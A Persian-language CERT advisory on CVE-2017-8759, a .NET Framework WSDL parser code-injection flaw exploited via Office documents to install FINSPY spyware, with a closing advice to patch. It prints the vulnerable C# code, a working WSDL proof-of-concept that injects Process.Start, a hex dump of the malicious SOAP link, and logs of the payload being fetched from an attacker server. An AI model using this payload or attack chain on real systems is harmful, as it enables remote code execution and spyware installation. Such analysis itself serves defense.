مرکز مدیریت امداد و هماهنگی عملیات رخدادهای رایانه ای
وزارت ارتباطات و فناوری اطلاعات
سازمان فناوری اطلاعات ایران

باسمه تعالی

گزارش خبری آسیب پذیری حیاتی در پروتکل تحلیل محتوای چارچوب دات نت مایکروسافت CVE-2017-8759

فهرست مطالب

۱-معرفی آسیب پذیری

وب سایت FireEye در تاریخ ۱۳ سپتامبر سال جاری یک آسیب پذیری از Microsoft Office RTF کشف کرده که از طریق تزریق کد مخرب در SOAP WSDL parser اجرا میشود.وب سایت fire eye یک سند مایکروسافت word را آنالیز کرد که در ان مهاجم با تزریق و دانلود یک اسکریپت ویژوال بیسیک که شامل دستورات پاور شل می شود،به سیستم قربانی نفوذ کرد و دستورات خود را اجرا کرد

FireEye اطلاعات این اسیب پذیری را به مایکروسافت ارائه داد و مایکروسافت با ارائه یک اپدیت این اسیب پذیری را بر طرف کرد. لذا توصیه میشود کاربران رایانه خود را بروز رسانی کنند.

۲-توضیحات CVE 2017-8759

یک آسیب پذیری تزریق (Code Injection) کد در تابع PrintClientProxy از ماژول WSDL parserوجود دارد. این تابع در بررسی URLورودی به آن در صورت وجود یک CRLF به درستی عمل نمیکند. همین اسیب پذیری به مهاجم اجازه ی اجرای هر دستور دلخواه را می دهد ،قسمتی از کد اسیب پذیر در تصویر زیر قابل مشاهده است

```
for (int i = 0; i < _connectURLs.Count; i++)
{
 sb.Length = 0;
 sb.Append(intend2);
 if (i == 0)
 {
  sb.Append("base.ConfigureProxy(this.GetType(), ");
  sb.Append(WsdlParser.IsValidUrl((string)_connectURLs[i]));
  sb.Append(");");
 }
 else
 {
  // Only the first location is used, the rest are commented out in the proxy
  sb.Append("//base.ConfigureProxy(this.GetType(), ");
  sb.Append(WsdlParser.IsValidUrl((string)_connectURLs[i]));
  sb.Append(");");
 }
 textWriter.WriteLine(sb);
}
```

هنگاهی که چند آدرس URL در داخل پاسخ SOAP قرار داده شوند، کد موجود در .NET یک رشته (”//base.ConfigureProxy(this.GetType(),“) به آخر آدرس اول اضافه میکند و بقیه آدرسها را کامنت میکند. اما اگر رشته CRLF در داخل بقیه آدرسها باشد، بقیه آدرسها کامنت نخواهد شد. شکل زیر عدم تایید CRLF و صدا زدن تابع System.Diagnostics.Process.Start و درنتیجه تزریق کد را نشان میدهد. کد از طریق csc.exe لود شده و بصورت Dll ؤسط آفیس قابل اجرا شدن است.

```
    <service name="Service">
        <port name="Port" binding="tns:Binding">
            <soap:address location="http://localhost?C:\Windows\System32\calc.exe?011"/>
            <soap:address location="';
        System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
        //"/>
        </port>
    </service>
</definitions>
```

```
- 898 office2.png    nXML
public class Image : System.Runtime.Remoting.Services.RemotingClientProxy
{
    // Constructor
    public Image()
    {
        base.ConfigureProxy(this.GetType(), @"http://localhost?C:\Windows\System32\calc.exe?011");
        //base.ConfigureProxy(this.GetType(), @";
    System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
  //");
    }
```

۳-حملات انجام شده:

حمله کننده با ایجاد فایلهای RTF، Doc، Docx و یا بقیه فرمتهای آفیس، همانند CVE-2017-0199 به سادگی میتواند رایانه را مورد هدف قرار دهد. فایلهای تولید شده دارای یک SOAP Element هستند که براحتی فایل اکسپلویت اصلی را از اینترنت و یا شبکه داخلی دانلود کرده و آنرا در سیستم قربانی اجرا میکند.

```
0840h: 19 7F D2 11 97 8E 00 00 F8 75 7E 2A 00 00 00 00  ..Ò.—Ž..øu~*....
0850h: 70 01 00 00 77 00 73 00 64 00 6C 00 3D 00 68 00  p...w.s.d.l.=.h.
0860h: 74 00 74 00 70 00 3A 00 2F 00 2F 00 58 00 58 00  t.t.p.:././.X.X.
0870h: 2E 00 58 00 58 00 58 00 2E 00 58 00 58 00 58 00  ..X.X.X...X.X.X.
0880h: 2E 00 58 00 58 00 58 00 2F 00 69 00 6D 00 67 00  ..X.X.X./.i.m.g.
0890h: 2F 00 6F 00 66 00 66 00 69 00 63 00 65 00 2E 00  /.o.f.f.i.c.e...
08A0h: 70 00 6E 00 67 00 00 00 00 00 00 00 00 00 00 00  p.n.g...........
```

SOAP گنجانده شده در سند آفیس، دارای کد مخربی است که به یک WSDL از طرف سرور حمله کننده وصل میشود. تفسیرگر WSDL موجود در .NET Framework بر روی کتابخانه System.Runtime.Remoting.ni.dll قرار دارد و پس از خواندن محتویات، یک فایل cs مربوط به آن

در فولدر مستند ایجاد میکند. سپس این فایل cs توسط پراسس csc.exe اجرا شده و سورس cs را تبدیل به کتابخانه ای با نام آدرس سرور حمله کننده میکند. سپس آفیس این کتابخانه را لود کرده و آنرا اجرا میکند.

```
0:000> lmvm http10[redacted] img0office4png
start    end        module name
70b70000 70b78000   http10[redacted] img0office4png   (deferred)
    Image path: http100[redacted]img0office4png.dll
    Image name: http100[redacted]img0office4png.dll
    Has CLR image header, track-debug-data flag not set
    Timestamp:        Thu Aug 24 23:21:28 2017 (599EEEF8)
    CheckSum:         00000000
    ImageSize:        00008000
    File version:     0.0.0.0
    Product version:  0.0.0.0
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0000.04b0
    InternalName:     http100[redacted]img0office4png.dll
    OriginalFilename: http100[redacted]img0office4png.dll
```

پس از اکسپلویت موفق، کد تزریق شده یک پراسس جدید ساخته و از فرایند mshta.exe برای دریافت یک اسکریپت HTA به نامه "word.db" از همان سرور میگیرد. اسکریپت دانلود شده سورس اصلی و همه فایلهای تولیدی توسط .net را پاک کرده و بجای آنها بد افزار FINSPY را با نام "left.jpg," در سیستم دانلود میکند. لازم به ذکر است MIME این فایل همان Jpg است اما با ابزار تولید payload تبدیل به اجرایی شده است.

#	Result	Pro...	Host	URL	Body	C...	Content-Type	P..	Comments
8	200	HTTP	91.219....	/img/office.png	1,065		image/png		SOAP WSDL response
10	200	HTTP	91.219....	/img/word.db	3,007				hta response
11	200	HTTP	91.219....	/img/left.jpg	1,383,424		image/jpeg		malware

بدافزار در مسیر زیر قرار میگیرد:

%appdata%\Microsoft\Windows\OfficeUpdte-KB[6 random numbers].exe

Process Name	PID	Operation	Path	Result
Explorer.EXE	2464	Process Create	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	SUCCESS
WINWORD.EXE	3596	Process Create	C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	SUCCESS
csrss.exe	376	Process Create	C:\Windows\system32\conhost.exe	SUCCESS
csc.exe	972	Process Create	C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe	SUCCESS
WINWORD.EXE	3596	Process Create	C:\Windows\System32\mshta.exe	SUCCESS
mshta.exe	3108	Process Create	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
csrss.exe	376	Process Create	C:\Windows\system32\conhost.exe	SUCCESS
powershell.exe	2868	Process Create	C:\Windows\system32\taskkill.exe	SUCCESS
mshta.exe	3108	Process Create	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
csrss.exe	376	Process Create	C:\Windows\system32\conhost.exe	SUCCESS
mshta.exe	3108	Process Create	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
csrss.exe	376	Process Create	C:\Windows\system32\conhost.exe	SUCCESS
mshta.exe	3108	Process Create	C:\Windows\System32\cmd.exe	SUCCESS
csrss.exe	376	Process Create	C:\Windows\system32\conhost.exe	SUCCESS
mshta.exe	3108	Process Create	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
csrss.exe	376	Process Create	C:\Windows\system32\conhost.exe	SUCCESS
cmd.exe	584	Process Create	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	SUCCESS
mshta.exe	3108	Process Create	C:\Users\test7\AppData\Roaming\Microsoft\Windows\OfficeUpdte-KB888330.exe	SUCCESS

فایل "left.jpg" با هش a7b990d5f57b244dd17e9a937a41e7f5 یک نسخه متفاوت از FINSPY است. این بدافزار یک کد کاما مخفی شده در آن یک ماشین مجازی قرار دارد. به این خاطر مهندسی معکوس آن بسیار مشکل است. برای مخفی سازی بیشتر و عدم قابلیت آنالیز، این بد افزار مسیر خود را پیدا کرده و رشته مربوط به آنرا با MD۵ مربوط به خود مرتبط میسازد. بسیاری از نرم افزار های امنیتی، محل اجرای برنامه را تغییر میدهند فلذا بد افزار میتواند خود را در درون این سیستم ها غیر فعال سازد.

۴-نتیجه گیری

آسیب پذیری عنوان شده دومین آسیب پذیری روز صفرم برای توزیع بد افزار FINSPY در۲۰۱۷ بود. لازم به ذکر است این بدافزار به چندین مشتری فروخته شده است. لذا با هدفهای مختلف دیگر نیز اجرا و توسط افراد دیگر نیز استفاده شده باشد.